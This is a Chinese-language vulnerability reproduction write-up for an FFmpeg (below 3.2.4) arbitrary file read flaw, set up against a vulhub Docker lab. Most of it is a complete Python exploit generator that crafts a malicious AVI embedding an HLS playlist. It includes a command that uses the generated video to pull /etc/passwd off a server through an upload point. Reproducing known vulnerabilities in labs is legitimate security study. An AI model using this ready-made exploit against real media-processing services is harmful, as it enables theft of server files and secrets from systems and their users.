【漏洞复现】FFMPEG 任意文件读取漏洞

0x01 漏洞用途

如果某场景使用ffmpeg版本小于3.2.4，并且有上传用户自定义avi视频的时候，利用该漏洞可以读取服务器上任意文件。

0x02制作特殊的avi

脚本如下：

#!/usr/bin/env python3
import struct
import argparse
import random
import string

AVI_HEADER = b"RIFF\x00\x00\x00\x00AVI LIST\x14\x01\x00\x00hdrlavih8\x00\x00\x00@\x9c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00}\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\xa0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00LISTt\x00\x00\x00strlstrh8\x00\x00\x00txts\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x19\x00\x00\x00\x00\x00\x00\x00}\x00\x00\x00\x86\x03\x00\x00\x10'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\xa0\x00strf(\x00\x00\x00(\x00\x00\x00\xe0\x00\x00\x00\xa0\x00\x00\x00\x01\x00\x18\x00XVID\x00H\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00LIST    movi"

ECHO_TEMPLATE = """### echoing {needed!r}
#EXT-X-KEY: METHOD=AES-128, URI=/dev/zero, IV=0x{iv}
#EXTINF:1,
#EXT-X-BYTERANGE: 16
/dev/zero
#EXT-X-KEY: METHOD=NONE
"""

# AES.new('\x00'*16).decrypt('\x00'*16)
GAMMA = b'\x14\x0f\x0f\x10\x11\xb5"=yXw\x17\xff\xd9\xec:'

FULL_PLAYLIST = """#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
{content}
#### random string to prevent caching: {rand}
#EXT-X-ENDLIST"""

EXTERNAL_REFERENCE_PLAYLIST = """
####  External reference: reading {size} bytes from {filename} (offset {offset})
#EXTINF:1,
#EXT-X-BYTERANGE: {size}@{offset}
{filename}
"""

XBIN_HEADER = b'XBIN\x1A\x20\x00\x0f\x00\x10\x04\x01\x00\x00\x00\x00'


def echo_block(block):
    assert len(block) == 16
    iv = ''.join(map('{:02x}'.format, [x ^ y for (x, y) in zip(block, GAMMA)]))
    return ECHO_TEMPLATE.format(needed=block, iv=iv)


def gen_xbin_sync():
    seq = []
    for i in range(60):
        if i % 2:
            seq.append(0)
        else:
            seq.append(128 + 64 - i - 1)
    for i in range(4, 0, -1):
        seq.append(128 + i - 1)
    seq.append(0)
    seq.append(0)
    for i in range(12, 0, -1):
        seq.append(128 + i - 1)
    seq.append(0)
    seq.append(0)
    return seq


def test_xbin_sync(seq):
    for start_ind in range(64):
        path = [start_ind]
        cur_ind = start_ind
        while cur_ind < len(seq):
            if seq[cur_ind] == 0:
                cur_ind += 3
            else:
                assert seq[cur_ind] & (64 + 128) == 128
                cur_ind += (seq[cur_ind] & 63) + 3
            path.append(cur_ind)
        assert cur_ind == len(seq), "problem for path {}".format(path)


def echo_seq(s):
    assert len(s) % 16 == 0
    res = []
    for i in range(0, len(s), 16):
        res.append(echo_block(s[i:i + 16]))
    return ''.join(res)


test_xbin_sync(gen_xbin_sync())

SYNC = echo_seq(gen_xbin_sync())


def make_playlist_avi(playlist, fake_packets=1000, fake_packet_len=3):
    content = b'GAB2\x00\x02\x00' + b'\x00' * 10 + playlist.encode('ascii')
    packet = b'00tx' + struct.pack('<I', len(content)) + content
    dcpkt = b'00dc' + struct.pack('<I',
                                  fake_packet_len) + b'\x00' * fake_packet_len
    return AVI_HEADER + packet + dcpkt * fake_packets


def gen_xbin_packet_header(size):
    return bytes([0] * 9 + [1] + [0] * 4 + [128 + size - 1, 10])


def gen_xbin_packet_playlist(filename, offset, packet_size):
    result = []
    while packet_size > 0:
        packet_size -= 16
        assert packet_size > 0
        part_size = min(packet_size, 64)
        packet_size -= part_size
        result.append(echo_block(gen_xbin_packet_header(part_size)))
        result.append(
            EXTERNAL_REFERENCE_PLAYLIST.format(
                size=part_size,
                offset=offset,
                filename=filename))
        offset += part_size
    return ''.join(result), offset


def gen_xbin_playlist(filename_to_read):
    pls = [echo_block(XBIN_HEADER)]
    next_delta = 5
    for max_offs, filename in (
            (5000, filename_to_read), (500, "file:///dev/zero")):
        offset = 0
        while offset < max_offs:
            for _ in range(10):
                pls_part, new_offset = gen_xbin_packet_playlist(
                    filename, offset, 0xf0 - next_delta)
                pls.append(pls_part)
                next_delta = 0
            offset = new_offset
        pls.append(SYNC)
    return FULL_PLAYLIST.format(content=''.join(pls), rand=''.join(
        random.choice(string.ascii_lowercase) for i in range(30)))


if __name__ == "__main__":
    parser = argparse.ArgumentParser('AVI+M3U+XBIN ffmpeg exploit generator')
    parser.add_argument(
        'filename',
        help='filename to be read from the server (prefix it with "file://")')
    parser.add_argument('output_avi', help='where to save the avi')
    args = parser.parse_args()
    assert '://' in args.filename, "ffmpeg needs explicit proto (forgot file://?)"
    content = gen_xbin_playlist(args.filename)
    avi = make_playlist_avi(content)
    output_name = args.output_avi

    with open(output_name, 'wb') as f:
        f.write(avi)

使用命令

python3 gen_avi.py file:///etc/passwd poc.avi

获得poc.avi用来上传文件

0x03 漏洞复现

首先复现环境使用pthithon的vulhub，项目地址https://github.com/vulhub/vulhub/tree/master/ffmpeg/phdays

docker-compose build
docker-compose up -d

运行好环境后访问http://localhost:8080即可

这里是一个上传点，然后将之前构造好的上传文件上传后，提交，播放上传的视频即可获得/etc/passwd文件的内容